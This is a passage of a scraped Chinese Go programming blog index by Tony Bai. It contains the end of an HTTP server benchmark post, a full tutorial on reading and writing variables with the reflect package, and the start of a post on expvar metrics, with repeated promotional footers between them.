netpoll使用的那套机制。在多路复用的机制下，这样可以让每个workerpool中的goroutine处理同时处理多个连接，这样我们可以根据业务规模选择workerpool池的大小，而不是像目前这样几乎是任意增长goroutine的数量。当然，在用户层面引入epoll也可能会带来系统调用占比的增多以及响应延迟增大等问题。至于该路径是否可行，还是要看具体实现和测试结果。\n注：fasthttp.Server中的Concurrency可以用来限制workerpool中并发处理的goroutine的个数，但由于每个goroutine只处理一个连接，当Concurrency设置过小时，后续的连接可能就会被fasthttp拒绝服务。因此fasthttp的默认Concurrency为：\nconst DefaultConcurrency = 256 * 1024 本文涉及的源码可以在这里 github.com/bigwhite/experiments/blob/master/http-benchmark 下载。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/server-side-performance-nethttp-vs-fasthttp-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\"\u003ehttps://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-背景\"\u003e1. 背景\u003c/h3\u003e\n\u003cp\u003eGo初学者学习Go时，在编写了经典的“hello, world”程序之后，可能会迫不及待的体验一下Go强大的标准库，比如：用几行代码写一个像下面示例这样拥有完整功能的web server：\u003c/p\u003e","title":"Go标准库http与fasthttp服务端性能比较"},{"content":"\n本文永久链接 – https://tonybai.com/2021/mm/dd/variable-operation-using-reflection-in-go\nGo在标准库中提供的reflect包让Go程序具备运行时的反射能力(reflection)，但这种反射能力也是一把“双刃剑”，它在解决一类特定问题方面具有优势，但也带来了逻辑不清晰、性能问题以及难于发现问题和调试等不足。不过从Go诞生伊始就随着Go一起发布的reflect包是Go不可或缺的重要能力，不管你是否使用，都要掌握使用reflect与类型系统交互的基本方法，比如在反射的世界里如何读写各类型变量。本文就来和大家快速过一遍使用reflect包读写Go基本类型变量、复合类型变量的方法以及它们的应用。\n1. 基本类型 进入reflect世界的大门主要有两个：reflect.ValueOf和reflect.TypeOf。进入到反射世界，每个变量都能找到一个与自己的对应的reflect.Value，通过该Value我们可以读写真实世界的变量信息。这里主要和大家过一遍操作各类型变量值的方法，因此主要用到的是reflect.ValueOf。\nGo原生基本类型(非复合类型)主要包括：\n整型(int, int8, int16, int32(rune), int64, uint, uint8(byte), uint16, uint32, uint64) 浮点型(float32, float64) 复数类型(complex64, complex128) 布尔类型(bool) 字符串类型(string) 我们在反射的世界里如何获取这些类型变量的值，又或如何在反射的世界里修改这些变量的值呢？下面这个示例可以作为日常使用reflect读写Go基本类型变量的速查表：\n// github.com/bigwhite/experiments/blob/master/vars-in-reflect/basic/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; ) func main() { // 整型 var i int = 11 vi := reflect.ValueOf(i) // reflect Value of i fmt.Printf(\u0026quot;i = [%d], vi = [%d]\\n\u0026quot;, i, vi.Int()) // i = [11], vi = [11] // vi.SetInt(11 + 100) // panic: reflect: reflect.Value.SetInt using unaddressable value vai := reflect.ValueOf(\u0026amp;i) // reflect Value of Address of i vi = vai.Elem() fmt.Printf(\u0026quot;i = [%d], vi = [%d]\\n\u0026quot;, i, vi.Int()) // i = [11], vi = [11] vi.SetInt(11 + 100) fmt.Printf(\u0026quot;after set, i = [%d]\\n\u0026quot;, i) // after set, i = [111] // 整型指针 i = 11 var pi *int = \u0026amp;i vpi := reflect.ValueOf(pi) // reflect Value of pi vi = vpi.Elem() vi.SetInt(11 + 100) fmt.Printf(\u0026quot;after set, i = [%d]\\n\u0026quot;, i) // after set, i = [111] // 浮点型 var f float64 = 3.1415 vaf := reflect.ValueOf(\u0026amp;f) vf := vaf.Elem() fmt.Printf(\u0026quot;f = [%f], vf = [%f]\\n\u0026quot;, f, vf.Float()) // f = [3.141500], vf = [3.141500] vf.SetFloat(100 + 3.1415) fmt.Printf(\u0026quot;after set, f = [%f]\\n\u0026quot;, f) // after set, f = [103.141500] // 复数型 var c = complex(5.1, 6.2) vac := reflect.ValueOf(\u0026amp;c) vc := vac.Elem() fmt.Printf(\u0026quot;c = [%g], vc = [%g]\\n\u0026quot;, f, vc.Complex()) // c = [103.1415], vc = [(5.1+6.2i)] vc.SetComplex(complex(105.1, 106.2)) fmt.Printf(\u0026quot;after set, c = [%g]\\n\u0026quot;, c) // after set, c = [(105.1+106.2i)] // 布尔类型 var b bool = true vab := reflect.ValueOf(\u0026amp;b) vb := vab.Elem() fmt.Printf(\u0026quot;b = [%t], vb = [%t]\\n\u0026quot;, b, vb.Bool()) // b = [true], vb = [true] vb.SetBool(false) fmt.Printf(\u0026quot;after set, b = [%t]\\n\u0026quot;, b) // after set, b = [false] // 字符串类型 var s string = \u0026quot;hello, reflect\u0026quot; vas := reflect.ValueOf(\u0026amp;s) vs := vas.Elem() fmt.Printf(\u0026quot;s = [%s], vs = [%s]\\n\u0026quot;, s, vs.String()) // s = [hello, reflect], vs = [hello, reflect] vs.SetString(\u0026quot;bye, reflect\u0026quot;) fmt.Printf(\u0026quot;after set, s = [%s]\\n\u0026quot;, s) // after set, s = [bye, reflect] } 我们看到：\n原生基本类型变量通过reflect.ValueOf进入反射世界，如果最终要在反射世界修改原变量的值，那么传给ValueOf的不应该是变量自身，而是该变量的地址，指针类型除外。\n进入反射世界后，利用reflect.Value的Elem方法获取指针/地址指向的真正存储变量值的Value实例，通过Value类型提供的各种“方法糖”读取变量的值，比如：reflect.Value.Int、reflect.Value.String、reflect.Value.Bool等。\n同样，在反射世界中，我们通过reflect.Value的SetXXX系列方法在运行时设置相关变量的值，从而达到写变量的目的。\n2. 复合类型 前面我们已经看到，使用reflect包在反射世界读写原生基本类型的变量还是相对容易的多的，接下来我们再来看看复合类型(Composite type)变量的读写。\nGo中的复合类型包括：\n数组 切片 map 结构体 channel 与基本类型变量不同，复合变量多由同构和异构的字段(field)或元素(element)组成，如何读写复合类型变量中的字段或元素的值才是我们需要考虑的问题。下面这个示例可作为日常使用reflect在反射世界里读写Go复合类型变量中字段或元素值的速查表：\n// github.com/bigwhite/experiments/blob/master/vars-in-reflect/composite/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;unsafe\u0026quot; ) type Foo struct { Name string age int } func main() { // 数组 var a = [5]int{1, 2, 3, 4, 5} vaa := reflect.ValueOf(\u0026amp;a) // reflect Value of Address of arr va := vaa.Elem() va0 := va.Index(0) fmt.Printf(\u0026quot;a0 = [%d], va0 = [%d]\\n\u0026quot;, a[0], va0.Int()) // a0 = [1], va0 = [1] va0.SetInt(100 + 1) fmt.Printf(\u0026quot;after set, a0 = [%d]\\n\u0026quot;, a[0]) // after set, a0 = [101] // 切片 var s = []int{11, 12, 13} vs := reflect.ValueOf(s) vs0 := vs.Index(0) fmt.Printf(\u0026quot;s0 = [%d], vs0 = [%d]\\n\u0026quot;, s[0], vs0.Int()) // s0 = [11], vs0 = [11] vs0.SetInt(100 + 11) fmt.Printf(\u0026quot;after set, s0 = [%d]\\n\u0026quot;, s[0]) // after set, s0 = [111] // map var m = map[int]string{ 1: \u0026quot;tom\u0026quot;, 2: \u0026quot;jerry\u0026quot;, 3: \u0026quot;lucy\u0026quot;, } vm := reflect.ValueOf(m) vm_1_v := vm.MapIndex(reflect.ValueOf(1)) // the reflect Value of the value of key 1 fmt.Printf(\u0026quot;m_1 = [%s], vm_1 = [%s]\\n\u0026quot;, m[1], vm_1_v.String()) // m_1 = [tom], vm_1 = [tom] vm.SetMapIndex(reflect.ValueOf(1), reflect.ValueOf(\u0026quot;tony\u0026quot;)) fmt.Printf(\u0026quot;after set, m_1 = [%s]\\n\u0026quot;, m[1]) // after set, m_1 = [tony] // 为map m新增一组key-value vm.SetMapIndex(reflect.ValueOf(4), reflect.ValueOf(\u0026quot;amy\u0026quot;)) fmt.Printf(\u0026quot;after set, m = [%#v]\\n\u0026quot;, m) // after set, m = [map[int]string{1:\u0026quot;tony\u0026quot;, 2:\u0026quot;jerry\u0026quot;, 3:\u0026quot;lucy\u0026quot;, 4:\u0026quot;amy\u0026quot;}] // 结构体 var f = Foo{ Name: \u0026quot;lily\u0026quot;, age: 16, } vaf := reflect.ValueOf(\u0026amp;f) vf := vaf.Elem() field1 := vf.FieldByName(\u0026quot;Name\u0026quot;) fmt.Printf(\u0026quot;the Name of f = [%s]\\n\u0026quot;, field1.String()) // the Name of f = [lily] field2 := vf.FieldByName(\u0026quot;age\u0026quot;) fmt.Printf(\u0026quot;the age of f = [%d]\\n\u0026quot;, field2.Int()) // the age of f = [16] field1.SetString(\u0026quot;ally\u0026quot;) // field2.SetInt(8) // panic: reflect: reflect.Value.SetInt using value obtained using unexported field nAge := reflect.NewAt(field2.Type(), unsafe.Pointer(field2.UnsafeAddr())).Elem() nAge.SetInt(8) fmt.Printf(\u0026quot;after set, f is [%#v]\\n\u0026quot;, f) // after set, f is [main.Foo{Name:\u0026quot;ally\u0026quot;, age:8}] // 接口 var g = Foo{ Name: \u0026quot;Jordan\u0026quot;, age: 40, } // 接口底层动态类型为复合类型变量 var i interface{} = \u0026amp;g vi := reflect.ValueOf(i) vg := vi.Elem() field1 = vg.FieldByName(\u0026quot;Name\u0026quot;) fmt.Printf(\u0026quot;the Name of g = [%s]\\n\u0026quot;, field1.String()) // the Name of g = [Jordan] field2 = vg.FieldByName(\u0026quot;age\u0026quot;) fmt.Printf(\u0026quot;the age of g = [%d]\\n\u0026quot;, field2.Int()) // the age of g = [40] nAge = reflect.NewAt(field2.Type(), unsafe.Pointer(field2.UnsafeAddr())).Elem() nAge.SetInt(50) fmt.Printf(\u0026quot;after set, g is [%#v]\\n\u0026quot;, g) // after set, g is [main.Foo{Name:\u0026quot;Jordan\u0026quot;, age:50}] // 接口底层动态类型为基本类型变量 var n = 5 i = \u0026amp;n vi = reflect.ValueOf(i).Elem() fmt.Printf(\u0026quot;i = [%d], vi = [%d]\\n\u0026quot;, n, vi.Int()) // i = [5], vi = [5] vi.SetInt(10) fmt.Printf(\u0026quot;after set, n is [%d]\\n\u0026quot;, n) // after set, n is [10] // channel var ch = make(chan int, 100) vch := reflect.ValueOf(ch) vch.Send(reflect.ValueOf(22)) j := \u0026lt;-ch fmt.Printf(\u0026quot;recv [%d] from channel\\n\u0026quot;, j) // recv [22] from channel ch \u0026lt;- 33 vj, ok := vch.Recv() fmt.Printf(\u0026quot;recv [%d] ok[%t]\\n\u0026quot;, vj.Int(), ok) // recv [33] ok[true] } 从上述示例，我们可以得到如下一些信息：\n在反射的世界里，reflect包针对复合类型中的元素或字段的读写提供了相应的方法，比如针对数组、切片元素的Value.Index，针对map key-value的Value.MapIndex，针对结构体字段的Field、FieldByName，针对channel的Send和Recv。\n切片、map和channel由于其底层实现为指针类型结构，我们可以直接利用其在反射世界中对应的Value在反射世界中修改其内部元素；\n对于结构体中的非导出字段(unexported field)，我们可以读取其值，但无法直接修改其值。在上面的示例中，我们通过下面的unsafe手段实现了对其的赋值：\nnAge = reflect.NewAt(field2.Type(), unsafe.Pointer(field2.UnsafeAddr())).Elem() nAge.SetInt(50) 我们通过reflect.NewAt创建了一个新Value实例，该实例表示指向field2地址的指针。然后通过Elem方法，我们得到该指针Value指向的对象的Value：nAge，实际就是field2变量。然后通过nAge设置的新值也将反映在field2的值上。这和上面基本类型那个示例中的vpi和vi的功用类似。\n3. 获取系统资源描述符的值 reflect包的一大功用就是获取一些被封装在底层的系统资源描述符的值，比如：socket描述符、文件描述符。\na) 文件描述符 os.File提供了Fd方法用于获取文件对应的os底层的文件描述符的值。我们也可以使用反射来实现同样的功能：\n// github.com/bigwhite/experiments/blob/master/vars-in-reflect/system-resource/file_fd.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;reflect\u0026quot; ) func fileFD(f *os.File) int { file := reflect.ValueOf(f).Elem().FieldByName(\u0026quot;file\u0026quot;).Elem() pfdVal := file.FieldByName(\u0026quot;pfd\u0026quot;) return int(pfdVal.FieldByName(\u0026quot;Sysfd\u0026quot;).Int()) } func main() { fileName := os.Args[1] f, err := os.Open(fileName) if err != nil { panic(err) } defer f.Close() fmt.Printf(\u0026quot;file descriptor is %d\\n\u0026quot;, f.Fd()) fmt.Printf(\u0026quot;file descriptor in reflect is %d\\n\u0026quot;, fileFD(f)) } 执行上述示例：\n$go build file_fd.go $./file_fd file_fd.go file descriptor is 3 file descriptor in reflect is 3 我们看到通过reflect获取到的fd值与通过Fd方法得到的值是一致的。\n下面我们可以基于上面对读写基本类型和复合类型变量的理解来简单分析一下fileFD函数的实现：\nos.File的定义如下：\n// $GOROOT/src/os/types.go type File struct { *file // os specific } 为了通过反射获取到未导出指针变量file，我们使用下面反射语句：\nfile := reflect.ValueOf(f).Elem().FieldByName(\u0026quot;file\u0026quot;).Elem() 有了上面的Value实例file，我们就可以继续反射os.file结构了。os.file结构是因os而异的，以linux/mac的unix为例，os.file的结构如下：\n// $GOROOT/src/os/file_unix.go type file struct { pfd poll.FD name string dirinfo *dirInfo // nil unless directory being read nonblock bool // whether we set nonblocking mode stdoutOrErr bool // whether this is stdout or stderr appendMode bool // whether file is opened for appending } 于是我们继续反射：\npfdVal := file.FieldByName(\u0026quot;pfd\u0026quot;) 而poll.FD的结构如下：\n// $GOROOT/src/internal/poll/fd_unix.go // field of a larger type representing a network connection or OS file. type FD struct { // Lock sysfd and serialize access to Read and Write methods. fdmu fdMutex // System file descriptor. Immutable until Close. Sysfd int // I/O poller. pd pollDesc // Writev cache. iovecs *[]syscall.Iovec // Semaphore signaled when file is closed. csema uint32 // Non-zero if this file has been set to blocking mode. isBlocking uint32 // Whether this is a streaming descriptor, as opposed to a // packet-based descriptor like a UDP socket. Immutable. IsStream bool // Whether a zero byte read indicates EOF. This is false for a // message based socket connection. ZeroReadIsEOF bool // Whether this is a file rather than a network socket. isFile bool } 这其中的Sysfd记录的就是系统的文件描述符的值，于是通过下面语句即可得到该文件描述符的值：\nreturn int(pfdVal.FieldByName(\u0026quot;Sysfd\u0026quot;).Int()) b) socket描述符 unix下一切皆文件！socket描述符也是一个文件描述符，并且Go并没有在标准库中直接提供获取socket文件描述符的API。我们只能通过反射获取。看下面示例：\n// github.com/bigwhite/experiments/blob/master/vars-in-reflect/system-resource/socket_fd.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net\u0026quot; \u0026quot;reflect\u0026quot; ) func socketFD(conn net.Conn) int { tcpConn := reflect.ValueOf(conn).Elem().FieldByName(\u0026quot;conn\u0026quot;) fdVal := tcpConn.FieldByName(\u0026quot;fd\u0026quot;) pfdVal := fdVal.Elem().FieldByName(\u0026quot;pfd\u0026quot;) return int(pfdVal.FieldByName(\u0026quot;Sysfd\u0026quot;).Int()) } func main() { ln, err := net.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8080\u0026quot;) if err != nil { panic(err) } for { conn, err := ln.Accept() if err != nil { if ne, ok := err.(net.Error); ok \u0026amp;\u0026amp; ne.Temporary() { log.Printf(\u0026quot;accept temp err: %v\u0026quot;, ne) continue } log.Printf(\u0026quot;accept err: %v\u0026quot;, err) return } fmt.Printf(\u0026quot;conn fd is [%d]\\n\u0026quot;, socketFD(conn)) } } 我们看到socketFD的实现与fileFD的实现有些类似，我们从net.Conn一步步反射得到底层的Sysfd。\n传给socketFD的实参实质是一个TCPConn实例，通过reflect.ValueOf(conn).Elem()我们可以获取到该实例在反射世界的Value\n// $GOROOT/src/net/tcpsock.go type TCPConn struct { conn } 然后再通过FieldByName(“conn”)得到TCPConn结构中字段conn在反射世界中的Value。net.conn结构如下：\n// $GOROOT/src/net/net.go type conn struct { fd *netFD } 起哄的netFD是一个os相关的结构，以linux/mac为例，其结构如下：\n// $GOROOT/src/net/fd_posix.go // Network file descriptor. type netFD struct { pfd poll.FD // immutable until Close family int sotype int isConnected bool // handshake completed or use of association with peer net string laddr Addr raddr Addr } 我们又看到了poll.FD类型字段pfd，再往下的反射就和fileFD一致了。\n本文涉及的源码可以在这里下载：https://github.com/bigwhite/experiments/blob/master/vars-in-reflect\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/19/variable-operation-using-reflection-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/variable-operation-using-reflection-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/mm/dd/variable-operation-using-reflection-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/mm/dd/variable-operation-using-reflection-in-go\"\u003ehttps://tonybai.com/2021/mm/dd/variable-operation-using-reflection-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo在标准库中提供的\u003ca href=\"https://www.imooc.com/read/87/article/2474\"\u003ereflect包\u003c/a\u003e让Go程序具备\u003ca href=\"https://www.imooc.com/read/87/article/2474\"\u003e运行时的反射能力(reflection)\u003c/a\u003e，但这种反射能力也是一把“双刃剑”，它在解决一类特定问题方面具有优势，但也带来了逻辑不清晰、性能问题以及难于发现问题和调试等不足。不过从Go诞生伊始就随着Go一起发布的reflect包是Go不可或缺的重要能力，不管你是否使用，都要掌握使用reflect与类型系统交互的基本方法，比如\u003cstrong\u003e在反射的世界里如何读写各类型变量\u003c/strong\u003e。本文就来和大家快速过一遍使用reflect包读写Go基本类型变量、复合类型变量的方法以及它们的应用。\u003c/p\u003e\n\u003ch3 id=\"1-基本类型\"\u003e1. 基本类型\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e进入reflect世界的大门主要有两个：reflect.ValueOf和reflect.TypeOf。进入到反射世界，每个变量都能找到一个与自己的对应的reflect.Value，通过该Value我们可以读写真实世界的变量信息。这里主要和大家过一遍操作各类型变量值的方法，因此主要用到的是reflect.ValueOf。\u003c/p\u003e","title":"使用reflect包在反射世界里读写各类型变量"},{"content":"\n本文永久链接 – https://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx\n1. expvar包与expvarmon Go在标准库中为暴露Go应用内部指标数据提供了标准的对外接口，这就是expvar包。expvar包通过init函数将内置的expvarHandler(一个标准http HandlerFunc)注册到http包ListenAndServe创建的默认Server上。\n// $GOROOT/src/expvar/expvar.go func init() { http.HandleFunc(\u0026quot;/debug/vars\u0026quot;, expvarHandler) Publish(\u0026quot;cmdline\u0026quot;, Func(cmdline)) Publish(\u0026quot;memstats\u0026quot;, Func(memstats)) } 这样如果一个Go应用要想利用expvar默认暴露的内部指标数据，仅需做到两点：\n以副作用方式导入expvar包\nimport _ \u0026ldquo;expvar\u0026rdquo;\n启动默认HTTP Server\nhttp.ListenAndServe(\u0026ldquo;localhost:8080\u0026rdquo;, nil)\n我们来建立的使用expvar包暴露指标的最简单的例子：\n// expvar_demo1.go package main import ( _ \u0026quot;expvar\u0026quot; \u0026quot;net/http\u0026quot; ) func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 这样expvar包的expvarHandler会自动响应到localhost:8080/debug/vars上的http请求：\n$go build expvar_demo1.go $./expvar_demo1 -w=1 -r=2 $curl localhost:8080/debug/vars { \u0026quot;cmdline\u0026quot;: [\u0026quot;./expvar_demo1\u0026quot;,\u0026quot;-w=1\u0026quot;,\u0026quot;-r=2\u0026quot;], \u0026quot;memstats\u0026quot;: {\u0026quot;Alloc\u0026quot;:227088,\u0026quot;TotalAlloc\u0026quot;:227088,\u0026quot;Sys\u0026quot;:71650320,\u0026quot;Lookups\u0026quot;:0,\u0026quot;Mallocs\u0026quot;:730,\u0026quot;Frees\u0026quot;:13,\u0026quot;HeapAlloc\u0026quot;:227088,\u0026quot;HeapSys\u0026quot;:66715648,\u0026quot;HeapIdle\u0026quot;:65937408,\u0026quot;HeapInuse\u0026quot;:778240,\u0026quot;HeapReleased\u0026quot;:65937408,\u0026quot;HeapObjects\u0026quot;:717,\u0026quot;StackInuse\u0026quot;:393216,\u0026quot;StackSys\u0026quot;:393216,\u0026quot;MSpanInuse\u0026quot;:37536,\u0026quot;MSpanSys\u0026quot;:49152,\u0026quot;MCacheInuse\u0026quot;:9600,\u0026quot;MCacheSys\u0026quot;:16384,\u0026quot;BuckHashSys\u0026quot;:3769,\u0026quot;GCSys\u0026quot;:3783272,\u0026quot;OtherSys\u0026quot;:688879,\u0026quot;NextGC\u0026quot;:4473924,\u0026quot;LastGC\u0026quot;:0,\u0026quot;PauseTotalNs\u0026quot;:0,\u0026quot;PauseNs\u0026quot;:[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\u0026quot;PauseEnd\u0026quot;:[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\u0026quot;NumGC\u0026quot;:0,\u0026quot;NumForcedGC\u0026quot;:0,\u0026quot;GCCPUFraction\u0026quot;:0,\u0026quot;EnableGC\u0026quot;:true,\u0026quot;DebugGC\u0026quot;:false,\u0026quot;BySize\u0026quot;:[{\u0026quot;Size\u0026quot;:0,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:8,\u0026quot;Mallocs\u0026quot;:14,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:16,\u0026quot;Mallocs\u0026quot;:297,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:24,\u0026quot;Mallocs\u0026quot;:32,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:32,\u0026quot;Mallocs\u0026quot;:20,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:48,\u0026quot;Mallocs\u0026quot;:105,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:64,\u0026quot;Mallocs\u0026quot;:31,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:80,\u0026quot;Mallocs\u0026quot;:9,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:96,\u0026quot;Mallocs\u0026quot;:13,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:112,\u0026quot;Mallocs\u0026quot;:2,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:128,\u0026quot;Mallocs\u0026quot;:7,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:144,\u0026quot;Mallocs\u0026quot;:3,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:160,\u0026quot;Mallocs\u0026quot;:16,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:176,\u0026quot;Mallocs\u0026quot;:5,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:192,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:208,\u0026quot;Mallocs\u0026quot;:33,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:224,\u0026quot;Mallocs\u0026quot;:3,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:240,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:256,\u0026quot;Mallocs\u0026quot;:10,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:288,\u0026quot;Mallocs\u0026quot;:8,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:320,\u0026quot;Mallocs\u0026quot;:2,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:352,\u0026quot;Mallocs\u0026quot;:10,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:384,\u0026quot;Mallocs\u0026quot;:24,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:416,\u0026quot;Mallocs\u0026quot;:7,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:448,\u0026quot;Malloc